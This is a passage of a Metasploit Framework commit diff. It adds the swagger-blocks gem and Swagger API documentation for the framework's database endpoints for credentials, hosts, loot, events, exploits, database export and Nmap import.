merges master
commit
f11c0d061d
1
Gemfile
1
Gemfile
|
@ -34,6 +34,7 @@ group :development, :test do
|
|||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'swagger-blocks'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
|
|
@ -324,6 +324,7 @@ GEM
|
|||
tilt (>= 1.3, < 3)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
swagger-blocks (2.0.2)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
|
@ -358,6 +359,7 @@ DEPENDENCIES
|
|||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
swagger-blocks
|
||||
timecop
|
||||
yard
|
||||
|
||||
|
|
4
LICENSE
4
LICENSE
|
@ -115,6 +115,10 @@ Files: data/webcam/api.js
|
|||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: lib/msf/core/db_manager/http/public/*, lib/msf/core/db_manager/http/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
|
|
@ -0,0 +1,203 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
# TODO: Complete this documentation when the credential model is fully implemented in the API.
|
||||
module CredentialApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
|
||||
ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.'
|
||||
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
|
||||
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
|
||||
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
|
||||
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
|
||||
ORIGIN_TYPE_ENUM = [
|
||||
'Metasploit::Credential::Origin::Import',
|
||||
'Metasploit::Credential::Origin::Manual',
|
||||
'Metasploit::Credential::Origin::Service',
|
||||
'Metasploit::Credential::Origin::Session'
|
||||
]
|
||||
|
||||
# Swagger documentation for Credential model
|
||||
swagger_schema :Credential do
|
||||
key :required, [:origin_id]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM
|
||||
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
|
||||
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
|
||||
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
|
||||
property :logins do
|
||||
key :type, :array
|
||||
items do
|
||||
end
|
||||
end
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/credentials' do
|
||||
# Swagger documentation for /api/v1/credentials GET
|
||||
operation :get do
|
||||
key :description, 'Return credentials that are stored in the database.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :required, true
|
||||
schema do
|
||||
property :svcs do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials of the specified service.'
|
||||
key :type, :array
|
||||
key :required, false
|
||||
items do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
|
||||
property :ptype do
|
||||
key :in, :body
|
||||
key :description, 'The type of credential to return.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
key :enum, ['password','ntlm','hash']
|
||||
end
|
||||
|
||||
property :user do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials where the user matches this regex.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
property :pass do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials where the password matches this regex.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns credential data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/credentials POST
|
||||
operation :post do
|
||||
key :description, 'Create a credential.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# # Swagger documentation for /api/v1/credentials/ DELETE
|
||||
# operation :delete do
|
||||
# key :description, 'Delete the specified credentials.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :delete_opts
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# swagger_path '/api/v1/credentials/:id' do
|
||||
# # Swagger documentation for api/v1/credentials/:id GET
|
||||
# operation :get do
|
||||
# key :description, 'Return credentials that are stored in the database.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
# parameter :non_dead
|
||||
# parameter :address
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of credential to retrieve'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns credential data'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# Swagger documentation for /api/v1/credentials/:id PUT
|
||||
# operation :put do
|
||||
# key :description, 'Update the attributes an existing credential.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :update_id
|
||||
#
|
||||
# parameter do
|
||||
# key :in, :body
|
||||
# key :name, :body
|
||||
# key :description, 'The updated attributes to overwrite to the credential'
|
||||
# key :required, true
|
||||
# schema do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation'
|
||||
# schema do
|
||||
# key :type, :object
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
#end
|
||||
end
|
|
@ -0,0 +1,38 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module DbExportApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
swagger_path '/api/v1/db-export' do
|
||||
# Swagger documentation for /api/v1/db-export GET
|
||||
operation :get do
|
||||
key :description, 'Create a backup of the database as a file that can be re-imported to restore data.'
|
||||
key :tags, [ 'db_export' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :path
|
||||
key :required, true
|
||||
key :description, 'The location to store the export file.'
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :format
|
||||
key :required, true
|
||||
key :description, 'The file format to export as. Valid values are \'xml\' and \'pwdump\''
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'A JSON object containing the Base64 encoded backup file.'
|
||||
schema do
|
||||
property :db_export_file do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,59 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module EventApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
NAME_DESC = 'The name of the event.'
|
||||
NAME_EXAMPLE = 'module_run'
|
||||
HOST_DESC = 'The address of the host related to this event.'
|
||||
CRITICAL_DESC = 'true if the event is considered critical.'
|
||||
SEEN_DESC = 'true if a user has acknowledged the event.'
|
||||
USERNAME_DESC = 'Name of the user that triggered the event.'
|
||||
INFO_DESC = 'Information about the event specific to the event name.'
|
||||
INFO_EXAMPLE = '{:command=>"irb"}'
|
||||
|
||||
# Swagger documentation for Event model
|
||||
swagger_schema :Event do
|
||||
key :required, [:name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :critical, type: :boolean, description: CRITICAL_DESC
|
||||
property :seen, type: :string, description: SEEN_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC
|
||||
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/events' do
|
||||
# Swagger documentation for /api/v1/events POST
|
||||
operation :post do
|
||||
key :description, 'Create an event.'
|
||||
key :tags, [ 'event' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the event.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
|
||||
property :critical, type: :boolean, description: CRITICAL_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC
|
||||
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Event
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,67 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module ExploitApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
swagger_schema :Exploit do
|
||||
key :required, [:id, :name]
|
||||
property :id, type: :integer, format: :int32
|
||||
property :created_at, type: :string, format: :date_time
|
||||
property :updated_at, type: :string, format: :date_time
|
||||
property :workspace_id, type: :integer, format: :int32
|
||||
property :name, type: :string
|
||||
property :critical, type: :boolean
|
||||
property :seen, type: :string
|
||||
property :username, type: :string
|
||||
property :info do
|
||||
key :type, :object
|
||||
property :revision, type: :string
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/exploits' do
|
||||
# Swagger documentation for /api/v1/exploits POST
|
||||
operation :post do
|
||||
key :description, 'Create an exploit entry.'
|
||||
key :tags, [ 'exploit' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the exploit.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :timestamp, type: :string, format: :date_time
|
||||
property :module, type: :string
|
||||
property :workspace, required: true, type: :string
|
||||
property :port, type: :integer, format: :int32
|
||||
property :proto, type: :string, enum: ['tcp','udp']
|
||||
property :service, '$ref' => :Service
|
||||
property :host, '$ref' => :Host
|
||||
property :vuln, '$ref' => :Vuln
|
||||
|
||||
property :refs do
|
||||
key :required, true
|
||||
key :type, :array
|
||||
items do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
|
||||
property :exploit_report_attempt do
|
||||
key :type, :string
|
||||
key :enum, ['attempt', 'failure', 'success']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Exploit
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,237 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module HostApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
HOST_DESC = 'The IP address of the host.'
|
||||
HOST_EXAMPLE = '127.0.0.1'
|
||||
MAC_DESC = 'MAC Address of the host'
|
||||
MAC_EXAMPLE = 'AA:BB:CC:11:22:33'
|
||||
COMM_DESC = 'Unused attribute.'
|
||||
NAME_DESC = 'Hostname of the host.'
|
||||
NAME_EXAMPLE = 'domain_controller'
|
||||
STATE_DESC = 'The last seen connectivity state of this host.'
|
||||
OS_NAME_DESC = 'The name of the operating system.'
|
||||
OS_NAME_EXAMPLE = "'Windows XP', 'Ubuntu', or 'Mac OS X'"
|
||||
OS_FLAVOR_DESC = 'The flavor of operating system.'
|
||||
OS_FLAVOR_EXAMPLE = "'Enterprise', 'Pro', or 'Home'"
|
||||
OS_SP_DESC = 'The service pack version the operating system is running.'
|
||||
OS_SP_EXAMPLE = "'SP2'"
|
||||
OS_LANG_DESC = 'The language the operating system is using.'
|
||||
OS_LANG_EXAMPLE = "'English', 'French', or 'en-US'"
|
||||
OS_FAMILY_DESC = 'The major family the operating system belongs to.'
|
||||
OS_FAMILY_EXAMPLE = "'Windows', 'Linux', or 'OS X'"
|
||||
ARCH_DESC = 'The architecture of the host\'s CPU OR the programming language for virtual machine programming language like Ruby, PHP, and Java.'
|
||||
DETECTED_ARCH_DESC = 'The architecture of the host\'s CPU as detected by `Recog`. If arch is not \'unknown\', this is undefined.'
|
||||
PURPOSE_DESC = 'The main function of the host.'
|
||||
INFO_DESC = 'Customizable information about the host.'
|
||||
COMMENTS_DESC = 'A place for storing notes or findings about the host.'
|
||||
SCOPE_DESC = 'Interface identifier for link-local IPv6.'
|
||||
VIRTUAL_HOST_DESC = 'The name of the virtualization software.'
|
||||
VIRTUAL_HOST_EXAMPLE = "'VMWare', 'QEMU', 'Xen', or 'Docker'"
|
||||
NOTE_COUNT_DESC = 'Cached count of the number of associated notes.'
|
||||
VULN_COUNT_DESC = 'Cached count of the number of associated vulns.'
|
||||
SERVICE_COUNT_DESC = 'Cached count of the number of associated services.'
|
||||
HOST_DETAIL_COUNT_DESC = 'Cached count of the number of associated host details.'
|
||||
EXPLOIT_ATTEMPT_COUNT_DESC = 'Cached count of the number of associated exploit attempts.'
|
||||
CRED_COUNT_DESC = 'Cached count of the number of associated creds.'
|
||||
STATE_ENUM = [ 'alive', 'down', 'unknown' ]
|
||||
ARCH_ENUM = [
|
||||
'armbe',
|
||||
'armle',
|
||||
'cbea',
|
||||
'cbea64',
|
||||
'cmd',
|
||||
'java',
|
||||
'mips',
|
||||
'mipsbe',
|
||||
'mipsle',
|
||||
'php',
|
||||
'ppc',
|
||||
'ppc64',
|
||||
'ruby',
|
||||
'sparc',
|
||||
'tty',
|
||||
'x64',
|
||||
'x86',
|
||||
'x86_64',
|
||||
'',
|
||||
'Unknown'
|
||||
]
|
||||
|
||||
# Swagger documentation for Host model
|
||||
swagger_schema :Host do
|
||||
key :required, [:address, :name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :address, type: :string, description: HOST_DESC, example: HOST_EXAMPLE
|
||||
property :mac, type: :string, description: MAC_DESC, example: MAC_EXAMPLE
|
||||
property :comm, type: :string, description: COMM_DESC
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM
|
||||
property :os_name, type: :string, description: OS_NAME_DESC, example: OS_NAME_EXAMPLE
|
||||
property :os_flavor, type: :string, description: OS_FLAVOR_DESC, example: OS_FLAVOR_EXAMPLE
|
||||
property :os_sp, type: :string, description: OS_SP_DESC, example: OS_SP_EXAMPLE
|
||||
property :os_lang, type: :string, description: OS_LANG_DESC, example: OS_LANG_EXAMPLE
|
||||
property :os_family, type: :string, description: OS_FAMILY_DESC, example: OS_FAMILY_EXAMPLE
|
||||
property :arch, type: :string, description: ARCH_DESC, enum: ARCH_ENUM
|
||||
property :detected_arch, type: :string, description: DETECTED_ARCH_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :purpose, type: :string, description: PURPOSE_DESC
|
||||
property :info, type: :string, description: INFO_DESC
|
||||
property :comments, type: :string, description: COMMENTS_DESC
|
||||
property :scope, type: :string, description: SCOPE_DESC
|
||||
property :virtual_host, type: :string, description: VIRTUAL_HOST_DESC, example: VIRTUAL_HOST_EXAMPLE
|
||||
property :note_count, type: :integer, format: :int32, description: NOTE_COUNT_DESC
|
||||
property :vuln_count, type: :integer, format: :int32, description: VULN_COUNT_DESC
|
||||
property :service_count, type: :integer, format: :int32, description: SERVICE_COUNT_DESC
|
||||
property :host_detail_count, type: :integer, format: :int32, description: HOST_DETAIL_COUNT_DESC
|
||||
property :exploit_attempt_count, type: :integer, format: :int32, description: EXPLOIT_ATTEMPT_COUNT_DESC
|
||||
property :cred_count, type: :integer, format: :int32, description: CRED_COUNT_DESC
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/hosts' do
|
||||
# Swagger documentation for /api/v1/hosts GET
|
||||
operation :get do
|
||||
key :description, 'Return hosts that are stored in the database.'
|
||||
key :tags, [ 'host' ]
|
||||
|
||||
parameter :workspace
|
||||
parameter :non_dead
|
||||
parameter :address
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns host data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/hosts POST
|
||||
operation :post do
|
||||
key :description, 'Create a host.'
|
||||
key :tags, [ 'host' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the host.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: HOST_EXAMPLE
|
||||
property :mac, type: :string, description: MAC_DESC, example: MAC_EXAMPLE
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :os_name, type: :string, description: OS_NAME_DESC, example: OS_NAME_EXAMPLE
|
||||
property :os_flavor, type: :string, description: OS_FLAVOR_DESC, example: OS_FLAVOR_EXAMPLE
|
||||
property :os_sp, type: :string, description: OS_SP_DESC, example: OS_SP_EXAMPLE
|
||||
property :os_lang, type: :string, description: OS_LANG_DESC, example: OS_LANG_EXAMPLE
|
||||
property :purpose, type: :string, description: PURPOSE_DESC
|
||||
property :info, type: :string, description: INFO_DESC
|
||||
property :comments, type: :string, description: COMMENTS_DESC
|
||||
property :scope, type: :string, description: SCOPE_DESC
|
||||
property :virtual_host, type: :string, description: VIRTUAL_HOST_DESC, example: VIRTUAL_HOST_EXAMPLE
|
||||
# Possible values paired down from rex-arch/lib/rex/arch.rb
|
||||
property :arch do
|
||||
key :type, :string
|
||||
key :description, ARCH_DESC
|
||||
key :enum, ARCH_ENUM
|
||||
end
|
||||
property :state do
|
||||
key :type, :string
|
||||
key :description, STATE_DESC
|
||||
key :enum, STATE_ENUM
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/hosts/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified hosts.'
|
||||
key :tags, [ 'host' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/hosts/{id}' do
|
||||
# Swagger documentation for api/v1/hosts/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return specific host that is stored in the database.'
|
||||
key :tags, [ 'host' ]
|
||||
|
||||
parameter :workspace
|
||||
parameter :non_dead
|
||||
parameter :address
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of host to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns host data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/hosts/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing host.'
|
||||
key :tags, [ 'host' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the host'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,167 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module LootApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
HOST_ID_DESC = 'The ID of the host record this loot is associated with.'
|
||||
HOST_DESC = 'The IP address of the host from where the loot was obtained.'
|
||||
SERVICE_ID_DESC = 'The ID of the service record this loot is associated with.'
|
||||
LTYPE_DESC = 'The type of loot.'
|
||||
LTYPE_EXAMPLE = "'file', 'image', 'config_file', etc."
|
||||
PATH_DESC = 'The on-disk path to the loot file.'
|
||||
PATH_EXAMPLE = '/path/to/file.txt'
|
||||
DATA_DESC = 'The contents of the file.'
|
||||
CONTENT_TYPE_DESC = 'The mime/content type of the file at {#path}. Used to server the file correctly so browsers understand whether to render or download the file.'
|
||||
CONTENT_TYPE_EXAMPLE = 'text/plain'
|
||||
NAME_DESC = 'The name of the loot.'
|
||||
NAME_EXAMPLE = 'password_file.txt'
|
||||
INFO_DESC = 'Information about the loot.'
|
||||
MODULE_RUN_ID_DESC = 'The ID of the module run record this loot is associated with.'
|
||||
|
||||
|
||||
# Swagger documentation for loot model
|
||||
swagger_schema :Loot do
|
||||
key :required, [:name, :ltype, :path]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
|
||||
property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC
|
||||
property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE
|
||||
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE
|
||||
property :data, type: :string, description: DATA_DESC
|
||||
property :content_type, type: :string, description: CONTENT_TYPE_DESC, example: CONTENT_TYPE_EXAMPLE
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :info, type: :string, description: INFO_DESC
|
||||
property :module_run_id, type: :integer, format: :int32, description: MODULE_RUN_ID_DESC
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/loots' do
|
||||
# Swagger documentation for /api/v1/loots GET
|
||||
operation :get do
|
||||
key :description, 'Return loot entries that are stored in the database.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns loot data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/loots POST
|
||||
operation :post do
|
||||
key :description, 'Create a loot entry.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the loot.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
|
||||
property :service, '$ref': :Service
|
||||
property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE, required: true
|
||||
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE, required: true
|
||||
property :data, type: :string, description: DATA_DESC
|
||||
property :ctype, type: :string, description: CONTENT_TYPE_DESC, example: CONTENT_TYPE_EXAMPLE
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE, required: true
|
||||
property :info, type: :string, description: INFO_DESC
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/loot/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified loot.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/loot/{id}' do
|
||||
# Swagger documentation for api/v1/loot/:id GET
|
||||
|
||||
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
|
||||
#
|
||||
# operation :get do
|
||||
# key :description, 'Return specific loot entry that is stored in the database.'
|
||||
# key :tags, [ 'loot' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of loot to retrieve.'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns loot data.'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Loot
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
|
||||
# Swagger documentation for /api/v1/loot/{id} PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing loot.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the loot.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,20 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module MsfApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
swagger_path '/api/v1/msf/version' do
|
||||
# Swagger documentation for /api/v1/msf/version GET
|
||||
operation :get do
|
||||
key :description, 'Return the current version of the running Metasploit Framework.'
|
||||
key :tags, [ 'msf' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns the Metasploit Framework version.'
|
||||
schema do
|
||||
property :metasploit_version, type: :string
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,33 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module NmapApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
swagger_path '/api/v1/nmaps' do
|
||||
# Swagger documentation for /api/v1/nmaps POST
|
||||
operation :post do
|
||||
key :description, 'Upload an Nmap XML file to be processed into corresponding Metasploit data objects.'
|
||||
key :tags, [ 'nmap' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :filename, type: :string, required: true, description: 'The name of the file you are uploading.'
|
||||
